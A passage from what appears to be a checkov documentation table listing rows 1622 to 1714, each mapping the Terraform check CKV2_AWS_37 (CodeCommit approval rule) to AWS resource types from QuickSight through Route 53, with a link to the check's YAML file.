[CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1622 | CKV2_AWS_37     | resource | aws_quicksight_ingestion                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1623 | CKV2_AWS_37     | resource | aws_quicksight_namespace                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1624 | CKV2_AWS_37     | resource | aws_quicksight_refresh_schedule                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1625 | CKV2_AWS_37     | resource | aws_quicksight_template                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1626 | CKV2_AWS_37     | resource | aws_quicksight_template_alias                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1627 | CKV2_AWS_37     | resource | aws_quicksight_theme                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1628 | CKV2_AWS_37     | resource | aws_quicksight_user                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1629 | CKV2_AWS_37     | resource | aws_quicksight_vpc_connection                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1630 | CKV2_AWS_37     | resource | aws_ram_principal_association                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1631 | CKV2_AWS_37     | resource | aws_ram_resource_association                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1632 | CKV2_AWS_37     | resource | aws_ram_resource_share                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1633 | CKV2_AWS_37     | resource | aws_ram_resource_share_accepter                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1634 | CKV2_AWS_37     | resource | aws_ram_sharing_with_organization                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1635 | CKV2_AWS_37     | resource | aws_rbin_rule                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1636 | CKV2_AWS_37     | resource | aws_rds_certificate                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1637 | CKV2_AWS_37     | resource | aws_rds_cluster                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1638 | CKV2_AWS_37     | resource | aws_rds_cluster_activity_stream                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1639 | CKV2_AWS_37     | resource | aws_rds_cluster_endpoint                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1640 | CKV2_AWS_37     | resource | aws_rds_cluster_instance                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1641 | CKV2_AWS_37     | resource | aws_rds_cluster_parameter_group                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1642 | CKV2_AWS_37     | resource | aws_rds_cluster_role_association                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1643 | CKV2_AWS_37     | resource | aws_rds_cluster_snapshot_copy                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1644 | CKV2_AWS_37     | resource | aws_rds_custom_db_engine_version                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1645 | CKV2_AWS_37     | resource | aws_rds_export_task                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1646 | CKV2_AWS_37     | resource | aws_rds_global_cluster                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1647 | CKV2_AWS_37     | resource | aws_rds_instance_state                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1648 | CKV2_AWS_37     | resource | aws_rds_integration                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1649 | CKV2_AWS_37     | resource | aws_rds_reserved_instance                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1650 | CKV2_AWS_37     | resource | aws_redshift_authentication_profile                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1651 | CKV2_AWS_37     | resource | aws_redshift_cluster                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1652 | CKV2_AWS_37     | resource | aws_redshift_cluster_iam_roles                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1653 | CKV2_AWS_37     | resource | aws_redshift_cluster_snapshot                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1654 | CKV2_AWS_37     | resource | aws_redshift_data_share_authorization                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1655 | CKV2_AWS_37     | resource | aws_redshift_data_share_consumer_association                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1656 | CKV2_AWS_37     | resource | aws_redshift_endpoint_access                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1657 | CKV2_AWS_37     | resource | aws_redshift_endpoint_authorization                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1658 | CKV2_AWS_37     | resource | aws_redshift_event_subscription                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1659 | CKV2_AWS_37     | resource | aws_redshift_hsm_client_certificate                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1660 | CKV2_AWS_37     | resource | aws_redshift_hsm_configuration                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1661 | CKV2_AWS_37     | resource | aws_redshift_logging                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1662 | CKV2_AWS_37     | resource | aws_redshift_parameter_group                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1663 | CKV2_AWS_37     | resource | aws_redshift_partner                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1664 | CKV2_AWS_37     | resource | aws_redshift_resource_policy                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1665 | CKV2_AWS_37     | resource | aws_redshift_scheduled_action                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1666 | CKV2_AWS_37     | resource | aws_redshift_security_group                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1667 | CKV2_AWS_37     | resource | aws_redshift_snapshot_copy                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1668 | CKV2_AWS_37     | resource | aws_redshift_snapshot_copy_grant                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1669 | CKV2_AWS_37     | resource | aws_redshift_snapshot_schedule                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1670 | CKV2_AWS_37     | resource | aws_redshift_snapshot_schedule_association                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1671 | CKV2_AWS_37     | resource | aws_redshift_subnet_group                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1672 | CKV2_AWS_37     | resource | aws_redshift_usage_limit                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1673 | CKV2_AWS_37     | resource | aws_redshiftdata_statement                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1674 | CKV2_AWS_37     | resource | aws_redshiftserverless_custom_domain_association                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1675 | CKV2_AWS_37     | resource | aws_redshiftserverless_endpoint_access                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1676 | CKV2_AWS_37     | resource | aws_redshiftserverless_namespace                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1677 | CKV2_AWS_37     | resource | aws_redshiftserverless_resource_policy                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1678 | CKV2_AWS_37     | resource | aws_redshiftserverless_snapshot                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1679 | CKV2_AWS_37     | resource | aws_redshiftserverless_usage_limit                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1680 | CKV2_AWS_37     | resource | aws_redshiftserverless_workgroup                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1681 | CKV2_AWS_37     | resource | aws_region_info                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1682 | CKV2_AWS_37     | resource | aws_rekognition_collection                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1683 | CKV2_AWS_37     | resource | aws_rekognition_project                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1684 | CKV2_AWS_37     | resource | aws_rekognition_stream_processor                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1685 | CKV2_AWS_37     | resource | aws_resiliencehub_resiliency_policy                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1686 | CKV2_AWS_37     | resource | aws_resourceexplorer2_index                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1687 | CKV2_AWS_37     | resource | aws_resourceexplorer2_view                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1688 | CKV2_AWS_37     | resource | aws_resourcegroups_group                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1689 | CKV2_AWS_37     | resource | aws_resourcegroups_resource                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1690 | CKV2_AWS_37     | resource | aws_rolesanywhere_profile                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1691 | CKV2_AWS_37     | resource | aws_rolesanywhere_trust_anchor                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1692 | CKV2_AWS_37     | resource | aws_root                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1693 | CKV2_AWS_37     | resource | aws_root_access_key                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1694 | CKV2_AWS_37     | resource | aws_route                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1695 | CKV2_AWS_37     | resource | aws_route53_cidr_collection                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1696 | CKV2_AWS_37     | resource | aws_route53_cidr_location                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1697 | CKV2_AWS_37     | resource | aws_route53_delegation_set                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1698 | CKV2_AWS_37     | resource | aws_route53_health_check                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1699 | CKV2_AWS_37     | resource | aws_route53_hosted_zone_dnssec                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1700 | CKV2_AWS_37     | resource | aws_route53_key_signing_key                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1701 | CKV2_AWS_37     | resource | aws_route53_query_log                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1702 | CKV2_AWS_37     | resource | aws_route53_record                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1703 | CKV2_AWS_37     | resource | aws_route53_resolver_config                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1704 | CKV2_AWS_37     | resource | aws_route53_resolver_dnssec_config                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1705 | CKV2_AWS_37     | resource | aws_route53_resolver_endpoint                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1706 | CKV2_AWS_37     | resource | aws_route53_resolver_firewall_config                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1707 | CKV2_AWS_37     | resource | aws_route53_resolver_firewall_domain_list                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1708 | CKV2_AWS_37     | resource | aws_route53_resolver_firewall_rule                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1709 | CKV2_AWS_37     | resource | aws_route53_resolver_firewall_rule_group                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1710 | CKV2_AWS_37     | resource | aws_route53_resolver_firewall_rule_group_association             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1711 | CKV2_AWS_37     | resource | aws_route53_resolver_query_log_config                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1712 | CKV2_AWS_37     | resource | aws_route53_resolver_query_log_config_association                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1713 | CKV2_AWS_37     | resource | aws_route53_resolver_rule                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1714 | CKV2_AWS_37     | resource | aws_route53_resolver_rule_association                            | Ensure CodeCommit associates 